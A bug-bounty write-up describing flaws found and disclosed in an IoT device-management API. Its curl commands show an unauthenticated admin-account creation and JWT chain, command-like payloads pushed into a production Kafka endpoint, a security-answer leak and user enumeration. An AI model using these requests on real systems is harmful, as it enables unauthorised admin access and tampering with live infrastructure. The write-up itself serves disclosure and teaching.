The Night Everything Started
It was 2AM. The kind of 2AM where the city is dead quiet, the streets are empty, and the only light in your room is the blue glow of your monitor. I had just come back from outside — mood: absolutely destroyed. One of those days where nothing goes right, you know?
I made myself a coffee. Strong. The kind that tastes like regret but keeps you functional.
I opened my recon notes. I'd been mapping out a target for a few days — let's call it example.att.com — and something about it just felt off. Not in a scary way. In a "there's treasure buried here" way.
The swagger file had already told me there were 544 endpoints living on this API. 544. I stared at that number and whispered to my coffee:
"We're going to be here a while."
My coffee said nothing. We began.
Setting The Stage — What Was This Thing?
Before we dive into the chaos, some context:
example.att.com was a C2M IoT management platform — basically the backend infrastructure that manages IoT devices at scale. Think: device events, user management, monitoring feeds, authentication. All the good stuff.
The API was built on ASP.NET Core, and I had already grabbed the Swagger spec:
curl -s "https://example.att.com/swagger/v1/swagger.json" | wc -c
# 817,000 bytes of documented attack surface. Beautiful.I started mapping endpoints manually. Most required auth tokens. Most. Not all.
Finding A — "Sir, This Is a Kafka Broker"
The Discovery
I was scrolling through the Swagger spec when I spotted it:
POST /api/v1/home/PublishdataThe description said something about "publishing monitoring data." No auth annotation. No security scheme reference.
My internal monologue:
"Surely they locked this down. This is a production platform. They definitely locked this down."
Reader, they did not lock this down.
curl -s -X POST "https://example.att.com/api/v1/home/Publishdata" \
-H "Content-Type: application/json" \
-d '{"topic":"production_FeedMonitoringAPM","message":"researcher_test"}'
Response:
Data ReceievedI put my coffee down slowly .I sent another payload. Just to be sure:
curl -s -X POST "https://example.att.com/api/v1/home/Publishdata" \
-H "Content-Type: application/json" \
-d '{"action":"DELETE","userId":"admin","force":true}'
Response:
Data ReceievedI sent a completely nonsensical payload:
curl -s -X POST "https://example.att.com/api/v1/home/Publishdata" \
-H "Content-Type: application/json" \
-d '{"cmd":"id","type":"command"}'
Response:
Data Recieved
I sent the number 123. -> Data Recieved
I sent Simpe String Payload -> Data RecievedAt this point I turned to my coffee and said: "They'll accept anything."

What Was Actually Happening Here?
This endpoint was writing directly into the production Kafka broker — the internal message bus that IoT devices and downstream systems were actively reading from and acting on.
The Kafka broker IP had already leaked from another endpoint. The topic name was confirmed in the Swagger spec

At this point I had sent more messages to the production Kafka than I had sent texts to my friends that entire week. We don't talk about this.

Finding B — The Database Decided to Introduce Itself
Still riding the adrenaline, I hit the next suspicious endpoint:
GET /api/v1/home/TestDBConnectionTest. DB. Connection. A health-check endpoint. Left alive in production. No auth.
curl -s "https://example.att.com/api/v1/home/TestDBConnection" | jq .
Response:
{
"code": "200",
"status": "SUCCESS",
"message": "19247"
}The database had just introduced itself to me, unprompted, like a golden retriever that doesn't understand stranger danger.
19,247 records. In production. And now I knew exactly how many users were in there.
Combined with what I already knew from other endpoints, the internal infrastructure map was essentially drawing itself.

The endpoint name is literally TestDBConnection. It was a test endpoint. In production. Accessible from the internet. The only thing missing was a sticky note that said "please don't hack me."

Finding C — Security Answers For Everyone, Free Of Charge
I checked my recon notes. Another unauthenticated endpoint:
GET /api/GetSQDetail?emailId=<email>I tried it with my test account:
curl -s "https://example.att.com/api/GetSQDetail?emailId=testaccount@example.com" \
| jq .
Response:
[{
"Answer1": "w9X53JuPzE...",
"Answer2": "w9X53JuPzE...",
"Pin": "w9X53JuPzE...",
"SecurityQuestion1": "",
"SecurityQuestion2": ""
}]Okay. Security answers. AES-encrypted. Returned to literally anyone who asks with just an email address.
But then I looked closer. And this is where it got interesting.
The Cryptographic Red Flag
I decoded the Base64:
import base64
ct = base64.b64decode("w9X53JuPzE...")
print(len(ct)) # → 1616 bytes. Exactly one AES block.
And then I noticed: Answer1, Answer2, and Pin all returned identical ciphertext.
This means one of two things:
- All three fields have the same plaintext value (suspicious)
- The AES key is static and there's no IV — classic ECB mode misconfiguration in ASP.NET
If it's option 2 — and in my experience it usually is — then every single security answer for all 19,247 users is decryptable offline the moment you have the key. And hardcoded AES keys in ASP.NET config files have a habit of showing up in leaked repos, error messages, and debug endpoints.
No authentication required to retrieve any of this. For any user. By email.

The security answers were more accessible than my WiFi password. My WiFi password requires me to actually look at the router. This just needed an email address.

Finding D — The Final Boss: Admin JWT With Zero Credentials
Coffee refill. This one deserves full attention.
I had spotted two endpoints earlier that individually looked bad. Together, they were catastrophic.
POST /api/CreateUser
POST /api/GetAccessTokenStep 1 — Create an Admin Account (No Auth Required)
curl -s -X POST "https://example.att.com/api/CreateUser" \
-H "Content-Type: application/json" \
-d '{
"firstName": "Bug",
"lastName": "Test",
"userName": "testresearcher01",
"emailAddress": "testresearcher01@example.com",
"password": "Test@Pwn2024",
"roleIDs": "requestmanageradmin",
"groupID": 1
}'The server responded with a UserID, an ActiveStatus, and — I want you to really sit with this — the plaintext password echoed back in the response body.
The account was created. With requestmanageradmin role. By an unauthenticated HTTP request from my laptop at 2AM.
Step 2 — Get a Signed JWT (No Auth Required)
curl -s -X POST "https://example.att.com/api/GetAccessToken" \
-H "Content-Type: application/json" \
-d '{"userName":"testresearcher01","password":"Test@Pwn2024"}'
The server handed me a signed JWT. No questions asked.
Step 3 — Decode The JWT and Confirm
curl -s -X POST "https://example.att.com/api/GetAccessToken" \
-d '{"userName":"testresearcher01","password":"Test@Pwn2024"}' \
| python3 -c "
import json, sys, base64
data = json.load(sys.stdin)
jwt = data['data']['Tokens']['AccessToken']
payload = jwt.split('.')[1]
payload += '=' * (4 - len(payload) % 4)
claims = json.loads(base64.b64decode(payload))
user = json.loads(claims['User'])
print(json.dumps(
{k: user[k] for k in ['UserId','UserName','ApiKey','CompanyID','Roles']},
indent=2
))
"Response :
{
"UserId": "23566",
"UserName": "testresearcher01",
"ApiKey": "CHTdzP...wp",
"CompanyID": "100",
"Roles": ["requestmanageradmin"]
}I was now a signed, authenticated, full admin on the C2M IoT platform.
Three unauthenticated HTTP requests. Zero prior credentials. Zero user interaction. 2AM on a Tuesday.
Bonus Round — The User Enumeration Oracle
While testing GetAccessToken, I noticed something in the error messages:
admin → "Your account is not activated" ← account EXISTS
system → "Your account is not activated" ← account EXISTS
randomxyz → "Invalid user name or password" ← doesn't existDifferent error messages for existing vs non-existing accounts. No rate limiting. This means I could enumerate every real account on the platform — including internal system accounts — just by reading the response.



I became a full platform admin faster than it takes me to remember my own passwords. And I have a password manager. The password manager is RIGHT THERE.

The Complete Attack Surface Map

The Disclosure Timeline (There Was Drama)
March 14 → Report submitted. Full PoC. CVSS 9.8. Everything documented.
March 16 → Triage response:
"Not Applicable. Endpoints working as designed.
No user data at risk."I stared at my screen.
"Working as designed."
"No user data at risk."
I took a breath. I wrote back, calmly:
"The /api/CreateUser + /api/GetAccessToken chain allows any unauthenticated attacker to obtain a signed admin JWT with requestmanageradmin role. This is not a design feature — no production system intentionally allows unauthenticated admin account creation."
March 24 → Report reopened. Status changed to Triaged.
April 10 → Resolved.
April 15 → $$$$ bounty awarded. The lesson here is important: don't give up when a valid critical gets closed. Write back. Be professional. Explain exactly why the impact is real. The data will speak for itself.
Key Takeaways For Hunters
1. Swagger specs are treasure maps. A 817KB swagger.json with 544 endpoints told me exactly where to look. Always grab it first.
2. Chain your findings. Each finding alone was bad. Together they were catastrophic. CreateUser + GetAccessToken = full admin. Neither one is as scary alone.
3. Look at identical ciphertext. When three different fields return the exact same encrypted value, that's a crypto red flag screaming ECB mode or static key. Write it in your report.
4. Differential error messages = enumeration oracle. "Invalid credentials" vs "Account not activated" seems minor. It's not. It confirms account existence with no rate limiting.
5. Push back on invalid closures. Professionally. With evidence. Let the technical facts make the argument.
Closing Thoughts
I finished my second coffee as the sun started coming up.
The platform was fixed. The report was resolved. The $$$$ landed.
But what stayed with me wasn't the bounty. It was the image of 19,247 real users whose security answers were queryable by anyone with a terminal and curiosity. Who probably had no idea. Who went to sleep that night not knowing.
That's what makes this worth doing.
Find the bugs before someone worse does.
Happy hunting.
— tyrion404